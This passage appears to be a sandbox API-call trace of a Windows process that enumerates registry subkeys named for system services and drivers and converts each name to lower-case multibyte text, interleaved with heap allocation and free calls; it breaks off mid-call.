[0241.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.797] RegEnumKeyW (in: hKey=0x150, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0241.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1bb0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0241.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.797] RegEnumKeyW (in: hKey=0x150, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0241.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0241.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.797] RegEnumKeyW (in: hKey=0x150, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0241.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0241.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.797] RegEnumKeyW (in: hKey=0x150, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0241.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0241.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.798] RegEnumKeyW (in: hKey=0x150, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0241.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0241.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.798] RegEnumKeyW (in: hKey=0x150, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0241.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0241.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.798] RegEnumKeyW (in: hKey=0x150, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0241.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1bb0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0241.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.799] RegEnumKeyW (in: hKey=0x150, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0241.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0241.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.799] RegEnumKeyW (in: hKey=0x150, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0241.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0241.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.799] RegEnumKeyW (in: hKey=0x150, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0241.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0241.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.799] RegEnumKeyW (in: hKey=0x150, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0241.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0241.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.800] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0241.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0241.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.800] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0241.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0241.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.800] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0241.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0241.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.801] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0241.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0241.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.801] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0241.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0241.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.801] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0241.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0241.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.801] RegEnumKeyW (in: hKey=0x150, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0241.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0241.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.802] RegEnumKeyW (in: hKey=0x150, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0241.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0241.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1bb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0241.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.802] RegEnumKeyW (in: hKey=0x150, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0241.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a90, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0241.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.802] RegEnumKeyW (in: hKey=0x150, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0241.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, 